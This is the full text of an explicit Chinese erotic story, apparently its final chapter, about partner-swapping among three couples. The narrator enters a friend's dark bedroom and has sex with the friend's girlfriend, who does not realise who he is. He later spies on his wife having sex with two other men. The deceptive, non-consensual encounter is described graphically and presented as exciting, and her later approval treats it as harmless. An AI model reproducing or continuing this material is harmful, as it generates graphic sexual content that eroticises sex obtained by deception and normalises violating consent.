  她急促喘急,声音发抖,带着类似哭泣的阵颤。

  我放开对她性器的袭扰,边吻边舔边向上移动边把睡衣往上拉。她很自然地抬起身体,向上并直手臂。

  我当然不会给她脱掉,只是把睡衣翻上去,翻到颈部盖住她的脸,将手臂压在头顶处。不知这样做是否会造成她异样的刺激,她的声音显示出焦躁不安。

  我没有完全压在她身上,基本还是跪趴的姿势。又亲下去。我想我准确地亲到她的胸部。

  白天我有注意她的胸部属于不大却尖挺型的,此时,凭感觉知道判断是正确的。

  她的皮肤润泽细腻,胸部更是明显。从旁观到实地检验,带来感观上的刺激鲜明。乳房饱满挺拔,曲线玲珑,乳头不大,凸立后仅黄豆粒大小却煞是可爱。

  又一次感到遗憾,刚才匆匆关灯,忘记好好欣赏一番。

  我的嘴、舌头一股脑儿齐上。用一只手把住她的双手,腾出的手直接袭胸。

  也不去讲究方法,嘬乳肉,吸乳头,揉搓乳房,我忙得不亦乐乎。而她在我的戏玩之下,娇哼颤吟,身体颤抖频频迎合。

  我不是一味地玩。心里很清楚,沉湎其中固然大快吾心,时间地点环境却不允许继续,是时候进入主题拿下她了。

  摆正姿势,俯挺在她大大张开的双腿间将粗硬叫劲儿的雄物顶在她的根部。

  龟头明显感觉到阴部的湿润滑腻。扶正头部抵在火热的洞口。

  到此时她都丝毫没有意识到有什么不对。不管对不对,现在的我,已箭在弦上,不可能不发。

  腰胯一挺,在她的闷哼声中将己然涨得发痛的家伙插了进去。

  她的阴道已有充分的润滑,进入的时候毫无阻滞。阴道内壁丝丝自然地蠕动让器官倍觉慰贴。洞内热得发烫,紧密无隙的包裹爽得我在心里大叫痛快。

  再一挺,插到底。

  她在这短暂的几秒钟里颤抖了数次,阴道不停收缩伸展揉搓着入侵的异物,个中滋味难以言表。我禁不住赞叹,真是想不到她除了外表可人之外,还有这样的内秀。我转念一想又不禁嘲笑自己没见识,老陈为了她抛弃了八年的结发,自然不仅仅是因为她的外貌。我庆幸自己的果断,不然我将因放过一盘到口的好菜悔青肠子。

  我稍作休整即开始正式标准的操作……

  老陈这厮何德何能?这家伙祖上供的什么香火?

  他以前的老婆就是个标准的可以让人多看数眼的美人,现在的这个同样是如此。身体愉悦的同时,心里不知不觉地涌起一阵妒意……

  “……啊……轻……一点儿……”

  姚姗轻叫,声音打颤。

  我骤然一惊,这才发现自己卯足了劲儿操着她,每一下龟头都能实实在在地撞在她的花心上。马上把节奏放慢,她这才渐渐安稳下来。

  “死样,吃了什么了,用那么大力气,要搞死人啊……”

  我不敢作声。抽出家伙,将她翻过来。

  “讨厌,又折腾人……”

  嘴上这么说双腿支起来撑着床。不待我动,她已很自然地将屁股高高地撅起来。

  伸手在她屁股上摸了几把。白天见她的时候,就发现她有一个圆翘结实的臀部,曲线诱人遐想。现在真摸上去,这屁股肉果然是紧绷绷的充满弹性。

  移到臀缝之间。柔嫩的皮肤湿乎乎地沾满了阴道的分泌,肉缝骚情地张着。

  不耽误时间,将湿漉漉的粗壮肉棍抵在洞口。腰胯一送,再次占有她。

  我的思想不敢再走神,注意力充分集中。一轮卖力地杀将下来,直杀得她汁水横溢,哀叫连连如泣如诉不能自已……

  我汗流浃背,但比起她的嫩穴刮磨器官带来的波波刺激,只希望汗流得再多些。

  体态婀娜的姚姗高撅着雪白的屁股。沾满淫水油亮的粗黑肉棍,一刻不停地在肉紧的阴道进出冲刺。

  想象中结合眼下我的所作所为,浑身的血液沸腾起来。

  手伸到她的胸前,一边一个将倒悬的乳房握个正着。乳涨满把,正适合从身后随心所欲地搓揉把玩。

  在玩她乳肉的同时,腰胯的动作不仅没有放慢,反而动得越来越快。

  姚姗几乎在哭叫。

  有那么一秒钟,我担心她的声音会传出去。这种担心加剧了刺激,我越干越激动。纯粹的肉体刺激加上对朋友女友的占有,让快感在下腹飞速堆积。我知道自己快到临界点了。

  姚姗整个上半身已软在床上,只有屁股还固执地撅起着承受我的肉棍冲击。

  身体反应出明显的无序的颤抖告诉我,此刻她己爽得一塌糊涂。

  快感的爆发突然袭至。

  猛烈地插了数下,肉棍深深剌入深处,涨到极至的器官狠狠地研磨到她深处最柔软的那块花心上。

  精关大开。我重重哼了一声……

  随着第一股激流尽情喷射,我再也无法控制自己陷入狂喜之中。

  她的阴道回应着我的爆发强烈地收缩……

  姚姗急喘的呼吸声尚未平复。我己无声而迅速地穿好衣服裤子。

  干都已经干了,没必要温存,完事就赶紧闪人。

  门从身后关上的一刻,一颗心怦怦乱跳。

  真的干了姚姗!

  有两三分钟呆立在门口尚不能相信。脑海中翻来覆去只想到两个字:刺激。

  绝对刺激,也是绝对享受!

  我等自己的呼吸渐趋正常,忽然想到姚姗会不会疑心与平时不同?毕竟操她的人不是老陈。我又不知道老陈搞她有什么习惯。往深的一想,又感觉多虑,即便她意识到不妥,难道会真的告诉老陈?可能性不大。

  我摇摇头,觉得现在再想为时已晚。

  抬脚的一刻,脚步有些发沉。

  走了一半忽又想起,我是上来取烟的。烟没取还去了这么长时间,老陈醒来万一问起怎么回答?

  略一沉吟,记起我住的房间好象有烟。还是回自己房间取烟的好,不论怎样他的房间是不能再去的了。

  我正准备敲门,手却停在门上。不知怎的,心里忽然冒出一个念头我和老陈在楼下喝酒聊天,包括刚才溜进老陈房间这段时间,妻与大李就一直待在套房没有出来过。这两人仅仅是聊天这么简单?

  又一转念,难道我希望他们之间发生个什么事情不成?如果该发生的话恐怕也己经成过去时了吧?

  我静了静,下意识地把耳朵贴在门板上。我听到里面有声音。隐隐约约断断续续的象是嬉笑声。

  心里一动,手抓住门锁轻轻一用力。门锁动了,原来门没有反锁。

  悄悄打开并没有马上进去,而是将房门推开了一条缝。

  房间里的灯是关着的。走廊夜灯的灯光透进去感觉有些奇怪。我闪身进去,把门从身后掩上。起居室没有人。静静地站了一会儿,才辨别清楚声音是从卧室里传出来的。

  我朝卧室走去。门没关虚掩着,里面没有开灯,只看到一闪闪的不规则的光亮,原来是电视,刚才听到的是电视里的声音。

  我松了口气,正准备张口开句玩笑,手按在门上又停了下来。

  从虚掩的门缝里我看到了这样一幕:妻和大李就在床上。

  在上床!

  从我的角度看不到大李整个人,可这个时候除了他还能有谁。

  首先映入眼中的,是妻赤裸裸的白嫩屁股,浑圆的两瓣压在一双不大的脚掌上。

  我稍一侧,能看到从饱满雪白的屁股一路延伸过去的光滑后腰、背部。这副熟悉身体的上半身有节奏地一起一伏,吊悬在胸前的丰满乳房水滴状摆动,乳头凸硬。

  在她的身体两侧是两条分开伸出很享受的男人的腿,无疑这双光溜溜地腿是属于大李的。

  不用再看我已明白妻在做什么。

  意料之外又意料之中,这对狗男女!我的心陡然间怦怦乱跳。

  不知道是刚开始,还是已经梅开两三度……

  我本应该生气愤怒乃至怒发冲冠!没有。

  除了猛一发现后的错愕之外,大脑立刻被另一种情绪左右。我听妻说起过她以前的种种韵事,可却从来没有见过。

  我可以现在冲进去,步子却迈不动。

  大李发出爽极地哼哼声。

  他妈的!这王八蛋肯定是被我老婆嘬得不知天高地厚魂不附体。

  就凭许菁那一口生涩的活儿,就能猜到大李这家伙平常很少能尝到这样的待遇。妻不同,嘴上的活儿跟她的人一样漂亮。

  狗日的,真便宜了他!

  我又侧了一点,尽可能看到全局,又不想被嬉戏中的一男一女发现,半边脸几乎贴在墙上。

  妻的胳膊撑在他腰两侧,头发散开披散着。

  从我的角度仅看到一部分。妻用心给他口交,而且含得很深,吞的时候小脸几乎埋进大李的腹部下的阴毛堆里。

  大李的一只大手伸到妻的胸前,握住了妻晃动中的乳房。揉捏的同时,手指头拨弄着乳头。丰满的乳房在他的手中扭曲变形,变幻着各种形状。

  胸部,尤其乳头,是妻的性感带之一,平时只需稍一挑逗,她就会骚动。妻喉咙里发出动情的呻吟,吞吐的动作也明显加快。

  一股热气直通通地到达胯间的器官。

  妻的小嘴含着另一个男人的器官,专属于我的肉体被另一个男人肆意把玩。

  实实在在地发生在眼前时,我才发觉想象远没现实来得震撼。

  大李受到老婆的投桃报李,显然更加性奋。瘦长的身体,尤其腰胯神经质的向上耸动。

  这画面的刺激是不言而喻的,刺激的同时心里泛起一阵酸意。

  胯间充血的器官不受控制地发涨变硬,被裤子绷着很不舒服。为了缓解不适我索性从尿口把己经涨硬的器官解放出来,手握着茎身下意识地上下套动。

  两人这时换了姿势和动作。

  大李平躺下。

  妻起来将身体调了个位置,分开双脚架在大李头部。大李抱着她的屁股把嘴凑进腿间毛茸茸的肉穴处。

  妻哼了一声,咬着下唇,皱着眉头,一副很受用的表情。纤细的手伸到大李的胯间,握住了他的器官。我这才注意大李的家伙。第一印象是没我的粗,也不够我的长,只是龟头很圆很大。然后我又发现它的硬度似乎也不够,不知道是原本这样,还是之前已经用过。

  妻套弄了几下,就呻吟着忍不住俯下上半身,灵巧舌头伸出来在男人充血的龟头上乱舔,还时不时用舌尖在尿口上撩拨。

  这骚货,吃得这么带劲儿!

  妻再次张开嘴纳入对方的家伙。头部起起落落,脸颊一鼓一缩。不一会儿,这根肉棍就在她的小嘴努力下水亮硬涨。

  妻吃一会儿吐出来,迷着眼睛大口喘着气。看得出来,大李侍弄得她欲火高涨。

  “放进来吧……”妻小声道,声音听起来有些急躁。

  “你从上面先来。”

  “讨厌,又是我在上面。”妻骂了句。

  “一会儿我在上面。”大李笑嘻嘻回答。

  妻乖巧地将身体反过来,腿张开跪蹲在大李的腰部。手扶着大李的器官,将圆涨的龟头对准了湿漉漉的肉缝。

  我说!我!我要阻止!我差一点儿就喊出口!

  我注意到妻说的那句话里有个又字,那证明这两人己经发生过关系了,这时再喊又是不是有些多余?

  他们是什么时候做的,是在刚才吗?

  我胡思乱想的这档儿,妻轻轻一坐,发骚的肉洞吞没了大李的肉棒。

  我呆立了片刻。本来有机会制止的一幕,我却眼睁睁地看着任其发生了。

  妻己经在起伏。两人的结合部,大李的器官有节奏地一进一出。妻的屁股碰在大李的腰胯上泛起层层肉浪。

  妻坐得很深,每一下都直接到肉棒根部。两个人肉紧地哼叫在房间里回响。

  大李耸动腰胯迎合妻的动作。

  妻扯起大李的手放在自己的胸前。

  “摸……摸我……”妻上气不接下气,“我的好还是许菁的好……”

  “你指这里还是下面的小洞?”

  “都是……”

  “那你说是我的鸡巴好,还是你老公的好?”

  “烦人啊你……这个时候不许你提他……”

  “为什么?提提又怎么了。你觉得对不起他?”

  妻没有回答,只是不停歇地扭动腰肢。

  “别这么想,他不也玩了许菁嘛?你跟我做不是刚好扯平,你说是不是?”

  “呸……不一样……”妻气咻咻地道,“要不是你乘他出差,我才不会跟你上床。男人都不是好东西……他不是……你比他……更不是……”

  “嘿嘿,我认。我对你才这么坏,还不是你迷人又会玩,换了谁都想上你,一上就上瘾。哎,要是你老公知道我们上了床,他会怎么反应?”

  “不知道……不许你说,知不知道……哎呀……我不行了,你的大头又磨到那里了……软得不得了……我没劲儿了,你上来……”

  妻从他身上下来。大李扶着她躺下,提起她两条腿张开着让她抱在胸前。妻照做。这一来丰满的臀部高高地挺出,阴毛凌乱,阴部汁水淋漓,两片淫糜的肉唇大张着等候男人的阴茎。这姿态说不出的无耻下流,偏偏又极其刺激神经。

  大李扶着肉棒对准妻的肉穴一推就轻松地插了进去。双手按在妻的乳房上,摆动腰胯。肉棒在妻的穴里时隐时现着……

  我有半天没有反应过来。原来,妻和大李早就有一腿……

  听妻呻吟着说:“一会儿别射进去……”

  “行。”大李回答的很干脆,“老规矩,还是射在你上面的小嘴里……”

  “嗯……”

  我把阴茎收进裤子里,默默地退出了房间。

  回到楼下,发现老陈己经从沙发上坐了起来。

  “去哪儿了,我还以为你睡了……”

  “没有。”我从口袋摸出烟,递了过去。

  “来,把这瓶喝了。”

  “喝。”

  “当”的一声。很快一瓶下肚,感觉大脑晕晕沉沉。我靠在沙发上,闭上眼睛。

  脑海里一时是妻与大李放荡交欢的画面,一时又是两人的对话……

  “我上去一下,一会儿下来……”

  我没动。继续闭着眼。

  也不知过了多久,迷迷糊糊地传来一阵脚步声。

  “老陈你干什么去这么久?你要再不下来,我可就不奉陪了……”

  “你睡得着啊?”

  有人回答,却不是老陈。

  姚姗。

  我“呼”地睁开眼。姚姗可不己经来到我身边!身上还只穿着那件睡衣,两条长长的腿露在外面。

  “哦……我还以为是老陈……”我一下清醒过来。

  “为什么要是他?我来就不行啊?”

  “怎么会?老陈休息了?”

  我的目光又落在她大腿上。

  该死!脑海里立刻现出她一丝不挂的裸体,及在我身下婉转呻吟的模样。我飞快地移开目光,坐直身体。

  “老陈休没休息我不知道啊?他不是和你喝酒着吗?”

  “他……他刚才上去了……”

  她摇头,“他没回房间……”

  他没回房间?他跑哪里去了。

  “他不会是喝醉了随便猫在哪个犄角旮旯了吧,这个老陈可真是!”

  姚姗笑了笑,“有可能。我们去找找看?说不定他喝得昏昏沉沉的去了你们那间屋。”

  我腾地站了起来。

  “你怎么了?”

  “我……我没什么?”

  “咱们上去……?”看起来是征求我的意见,实际准备行动。

  我能说不去?

  姚姗转身走前面,我跟着,脚步却有些沉重。但愿那两人己经结束了战斗。

  姚姗走到楼梯口时停下了脚步,“刚才来房间的是你吧?”转过身看着我,目光毫无掩饰。

  我措手不及。未及回答,姚姗己轻笑,“别想了,做都做了还怕承认?”

  “我……”我有些哑口无言。

  她靠近我,身体贴上来。还没等我反应,她的手就摸到了我的器官上,并且张手握住。

  “它变硬了……”她小声道,“还是它老实。”

  她说着轻轻地一笑离开我,朝楼上走去。我却在发愣。我看到她睡衣下的真空。

  “喂,发什么呆,上来啊?”她扭头小声招呼我。

  我快步跟上去。她很自然地挽着我一条胳膊,“好看吗?”

  她知道我方才从后面窥视。

  “哦……”

  “嘘……别说话……别让那只醉猫发现我们……”眼神中透着一丝顽皮。

  我又回到房间。

  不同的时间,相同的地方,却又是不同的心绪。

  我根本无法阻止姚姗。她一副成竹在胸的自信,我不免怀疑她知道些什么。

  容不得我多想,她己经到了卧室的门外。

  门开着一条缝,只是缝似乎张开了许多。里面有声音传出来,有电视节目的声音,也有其他声音。

  姚姗转过头,一根手指头按在唇边,同时招手让我过去。

  我既好奇,又不安。还有几分尴尬。毕竟那里面有一个人是我的妻子。

  姚姗没挪地方,她靠着墙悄悄地蹲了下来。

  我示意她让开。她摇头。脸上的表情似笑非笑。

  为了要看清楚,我只好站在她面前。还要前倾身体脸贴着墙。可这样一来,就不能不挤到姚姗。胯部前出的部位刚好顶在她脸上,我马上稍微把腰胯后撅了一些。

  姚姗笑咪咪地望着我。

  顾不上她,我有些急不可待地朝卧室里张望。

  我看到妻跪趴在床上,撅挺着圆白的屁股。大李扶着她的细腰从后面操得正欢。

  妻口中呜呜着,象是被堵了东西。我心里一动,又尽量让自己再靠近门边一点。

  我看清了。

  妻的前面还有一个人。

  这个人坐在床靠上,一丝不挂。这人的胯部正对着妻的脸。

  看妻头部的动作幅度,她正为这个人口交。

  这个人居然是老陈。

  老陈眯着眼睛呲着牙,显然是非常享受妻对他的侍弄。

  我的头一瞬间大了。这是到底怎么一回事情!老陈……老陈竟然也……加入其中!

  老陈按住妻的头,抽出被妻吸吮得发亮的肉棍。又转过身去,把屁股对准了妻的脸。这动作无疑是让妻给他舔后门。

  妻会干吗?

  我以为妻会拒绝。我想我错了。妻几乎没有一秒的犹豫,伸手扒开对方的屁股,将小脸凑上去。

  再一刻。从妻的姿势上看,她嘴巴的位置正好是对方肛门的位置。舌头伸出来了吗?老陈这狗日的应爽死!光这样还不够,妻的手从他的两腿之间伸到前面握住肉棒套弄。

  老陈快活地撅挺着屁股。自己用手掰开两瓣,方便让妻舔得更方便,也能舔得更深。

  服务到家,真是服务到家了!看默契程度与妻的顺从态度,妻和老陈之间应不是第一次……我转过脸,额头顶着墙。

  脊梁上冒着汗。

  脑子乱成一团……

  姚姗睁大着眼睛看着我。

  她指指我的胯部,又指指自己的嘴。

  见我没反应,她主动伸手拉开我尿口拉裢,跟着,麻利自如地将我的肉棒掏出。

  肉棒不知何时己涨得又粗又硬。

  她凑上来伸出粉嫩的舌头。

  先在敏感的龟头前端舔了一口,然后以一种吞食的姿态让它慢慢滑入口中。

  她两眼向上望着我。灵巧的舌头在龟头上不停来回上下左右地舔。

  一只手握着我粗烫的茎身捋动着,而另一只手,则冲着我翘起了大拇指……




  【全文完】